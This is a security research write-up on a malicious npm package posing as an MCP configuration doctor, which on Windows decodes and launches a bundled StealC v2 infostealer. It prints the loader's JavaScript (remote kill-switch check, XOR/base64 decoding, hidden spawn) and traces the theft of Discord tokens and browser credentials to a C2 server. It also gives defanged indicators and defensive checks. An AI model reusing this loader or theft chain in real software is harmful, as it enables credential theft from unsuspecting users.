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research findings

An MCP Config Doctor That Drops an Infostealer

By:
Tamir Isaschar Tamir Isaschar
6 min read

Executive summary

AgentMesh flagged version 1.0.1 of @guicai777/mcp-doctor as Dangerous. The npm package presents itself as an MCP configuration helper. Running its CLI prints a real diagnostic report. On Windows, the same run can also unpack and launch a bundled information stealer in the background.

Our follow-up static analysis traced how the Windows program reads Discord’s local storage, extracts tokens, and builds an HTTP request containing the results. We assess the payload as StealC v2 with high confidence. The analysis establishes what the code can do. Whether anyone ran the package or had data taken remains unknown.

What AgentMesh flagged

The exact-version AgentMesh scan has three findings:

  • Critical: the CLI decodes an embedded Windows executable from bridge.bin, writes it to disk and launches it hidden. This is the strongest evidence for the Dangerous rating.
  • Critical: the CLI fetches configuration from a remote configuration endpoint, /v.json. An explicit Boolean active: false prevents the Windows payload from launching. The executable’s separate command-and-control endpoint was identified in our follow-up analysis.
  • High: the README tells users without Node.js to run mshta with a remote URL. The instruction is visible in the package; the content served by that URL remains unverified.

The sections below show what our follow-up analysis established inside the executable.

What the package claims to do

The package description reads "Diagnose and repair broken MCP server configuration" (package.json, line 4). The README recommends npx -y @guicai777/mcp-doctor@latest and says "Windows only for the bridge restart. No admin rights required." (README.md, lines 10–12). It has no install scripts or native build step; the code runs when the mcp-doctor-cli command starts, for example through that npx line.

The verified execution chain

index.js does five things in this order:

  1. Requests a remote config from a hardcoded domain. The request has a 5,000 ms socket timeout. If it times out or fails, the CLI continues without the remote config (lines 9–15, 24–26).
  2. Checks four config paths and reports issues. lib/diagnose.js looks for .claude.json, claude_desktop_config.json, .cursor\mcp.json and .vscode\mcp.json. It reports missing files, parses the ones that exist and lists entries without a command (lines 4–23). It writes nothing.
  3. Checks whether the remote config sets active to false. The CLI parses the response body without checking the HTTP status code, and stops before launching the payload only if active is exactly false. Any other reply lets it continue.
  4. Checks for Windows. On macOS and Linux it exits here.
  5. Decodes, writes and launches the bundled program.
if (cfg && cfg.active === false) return console.log('Remote config: payload disabled.');
if (process.platform !== 'win32') return console.log('Windows-only bridge. Skipped.');

(index.js, lines 37–38.) The code's own message calls it a payload.

const b = Buffer.from(fs.readFileSync(path.join(__dirname, 'bridge.bin'), 'utf8'), 'base64');
const k = b[0], pe = Buffer.alloc(b.length - 1);
for (let i = 1; i < b.length; i++) pe[i - 1] = b[i] ^ k;
fs.writeFileSync(exe, pe);
...
spawn(exe, [], { detached: true, stdio: 'ignore', windowsHide: true }).unref();

(index.js, lines 44–47 and 51.) bridge.bin is base64 text whose first byte is an XOR key for the rest. The result is a 64-bit Windows program, saved as mcp-bridge.exe under the user's local app data and started without a window. The CLI then prints "Bridge restarted, config rebuilt" (line 53).

Static analysis identified these capabilities in the Windows payload. Which ones run depends on the available data, configuration, and tasks returned by the server. We did not observe execution or successful data transfer on a victim machine.

Worked example: Discord tokens

Discord collection is on unless the server turns it off. The code finds Discord's LevelDB folder under the user's roaming app data, copies each file to a temporary name under C:\ProgramData, reads it and deletes the copy (0x14001f2f0). It searches the data for encrypted token values, decodes them and decrypts them with the key from Discord's Local State file (0x14001f0ac, 0x1400207f4). If it finds any, it joins them into one list and passes that list to the upload routine with soft\Discord\tokens.txt as the logical filename, a name inside the upload message, not a file on disk (0x14001f85f). The upload routine wraps filename and data in a JSON upload_file message, encrypts it with RC4, base64-encodes it and sends it as the body of an HTTP POST to the server (0x14000d8fc → 0x14000d3fe). This path is verified in code; we did not observe it on a victim machine.

Other payload capabilities

Addresses refer to the decoded program. After the startup checks and a successful registration, the code always attempts to upload a system profile and requests follow-on tasks once. Discord collection is on by default. The other capabilities depend on server settings, and every collection step depends on the data being present.

  • Startup and registration. Exits for Russian, Ukrainian, Belarusian, Kazakh or Uzbek user languages and after a built-in end date of 15 December 2026 (0x140031246, 0x140031088). Registers with the server using RC4 and base64 in both directions, and stops if registration fails (0x14002d640). Then attempts to upload a system profile.
  • Chromium browser data. For each Chromium-based browser the server names, the code can copy its databases, decrypt saved passwords, cookies and payment card numbers, read autofill entries, and upload each category; the same routine also handles history and stored account tokens (0x140026280). Server settings control which browser data the payload collects. For Chrome's App-Bound key, the injection path is verified: it starts the browser suspended and injects a helper (0x14003e1e4). The exact operation behind the helper's indirect COM call is inferred from the interface identifiers it contains.
  • Other modules. A screenshot capture and upload path is traced. For the Steam, Outlook and file collection modules we identified the entry points, the server settings that enable them and their upload calls, but did not trace every file they read. Firefox and wallet-extension paths were only partly traced; Foxmail and WinSCP appear only as strings and settings.
  • Follow-on tasks and cleanup. Requests follow-on tasks once, before or after collection, even if the server returns none. It runs only tasks the server returns: an EXE, MSI or PowerShell command (0x140030694). Can delete its own file (0x14003fba0). No persistence was found.

Which malware family

We assess with high confidence that the bundled Windows executable belongs to the StealC v2 family. The strongest matches to Zscaler ThreatLabz’s analysis are the C2 message types (create, upload_file, done, loader), registration fields (build, hwid), and server settings such as self_delete, take_screenshot, and steal_steam. The sample also implements an expiration check and can run follow-on tasks before or after data collection. It uses separate RC4 keys for strings and network traffic, a design ThreatLabz documented in a later StealC v2 template. The exact build and operator remain unknown.

Impact, prerequisites and limits

The payload launches when someone runs the CLI on Windows and the remote config does not set active to false. It needs no administrator rights. Depending on the available data and the server's settings, the code can collect saved passwords, cookies, autofill entries and payment card data from Chromium browsers, as well as history, account tokens and Discord tokens.

On macOS and Linux, the CLI attempts the HTTPS configuration request, prints its diagnostic report and exits before writing or launching the Windows payload.

On November 20, 2026, npm’s per-version downloads API reported 242 downloads of @guicai777/mcp-doctor@1.0.1 over the preceding week. The count includes automated downloads. The number of CLI executions and affected users is unknown.

We did not observe execution on a victim machine or successful receipt of stolen data. The content served by the mshta URL is unverified. We do not know what the remote config or the server returns today, who controls the domain, or whether anyone ran the package.

Practical checks

  • Search lockfiles, npm caches and CI logs for @guicai777/mcp-doctor.
  • On Windows, look for mcp-bridge.exe in a mcp-doctor folder under the user's local app data. Its absence does not prove safety; the program can delete itself.
  • Check proxy, DNS and endpoint logs for the indicators below.
  • If the payload ran, treat the machine as compromised. From a clean device, sign out of browser and Discord sessions, change saved passwords, and watch saved payment cards.
  • Before running an MCP helper with npx -y, read what its bin entry does.

Reading the indicators. A lockfile match shows the package was listed as a dependency. A GET to fix-mcp-bridge[.]com/v.json may indicate that the CLI ran, on any platform. A process-start event for mcp-bridge.exe with the SHA-256 below is stronger evidence that the Windows payload ran.

Disclosure

We reported @guicai777/mcp-doctor@1.0.1 to npm Security on November 20, 2026. npm acknowledged receipt of the report.

Artifact details

ItemValue
Package@guicai777/mcp-doctor 1.0.1
Archive SHA-256a7f023e8b7655bda00f12abc76c3256120f91dea66a3aef243f0059595d226b5
Decoded program SHA-256 (mcp-bridge.exe)c0e6d8ad366d2998f6576911abeb9a8e5d5b203ec0d22f752702c4a622d2ebe5
64-bit Windows GUI program, 649,886 bytes
Injected helper SHA-256 (0x6600-byte blob)0e5337a4cc8ebc772bc50f6e79befd1e8efad3410022e050d08d5269733c4ea4
hxxps://fix-mcp-bridge[.]com/v.jsonHTTPS GET by the npm CLI on every platform (index.js, lines 7 and 24). Remote disable switch.
hxxps://fix-mcp-bridge[.]com/initNot used by the code. The README suggests opening it with mshta if Node is missing (line 16). Not analyzed.
hxxp://48.103.145[.]143/HTTP POST to TCP port 80 by the Windows program only (0x14000d188; port verified statically): registration, server settings, uploads, follow-on tasks and the final "done" message.
Follow-on download URLsHTTP GET to addresses the server supplies (0x14000ce58). None are stored in the sample.

Exact-version scan: @guicai777/mcp-doctor 1.0.1 on AgentMesh.

Reference: Zscaler ThreatLabz, "I StealC You: Tracking the Rapid Changes to StealC".